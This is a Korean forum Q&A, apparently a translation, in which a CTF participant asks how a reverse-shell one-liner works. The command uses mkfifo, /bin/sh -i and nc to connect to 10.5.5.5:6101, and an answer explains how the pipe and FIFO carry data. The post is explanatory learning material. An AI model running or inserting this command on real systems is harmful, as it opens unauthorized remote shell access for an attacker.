이 코드는 실제로 무엇을 하고 있나요?

이 코드는 실제로 무엇을 하고 있나요?

플랫폼에서 CTF 챌린지를 수행하는 동안 리버스 쉘이 필요했지만 제대로 작동하지 않아서 프로세스를 살펴보고 하나의 리버스 쉘 코드를 찾았습니다.

rm /tmp/m;mkfifo /tmp/m;cat /tmp/m|/bin/sh -i 2>&1|nc 10.5.5.5 6101 >/tmp/m

실제로 작동했지만 파이프가 어떻게 작동하는지, 데이터를 어디로 보내는지 등을 실제로 이해할 수 없습니다. 누군가 이것을 설명해 주시겠습니까?

답변1

그러면 시스템에 원격으로 제어되는 쉘이 설정됩니다. 입력 및 출력은 다음과 같습니다.

  • cat /tmp/mFIFO 에서 읽어서 /tmp/mFIFO에 씁니다.
  • |/bin/sh -i 2>&1읽은 명령을 실행하고 출력(표준 출력 및 표준 오류 모두)을 다음으로 보냅니다.
  • |nc 10.5.5.5 610110.5.5.5:6101에 연결하고 다음에 씁니다.
  • >/tmp/mFIFO.

따라서 원격 시스템은 를 통해 전송되고 nc, FIFO에 기록되고, 에서 읽고 cat, 해석되는 명령을 공급할 수 sh있으며 해당 명령의 출력은 을 통해 원격 시스템으로 다시 전송됩니다 nc.

관련 정보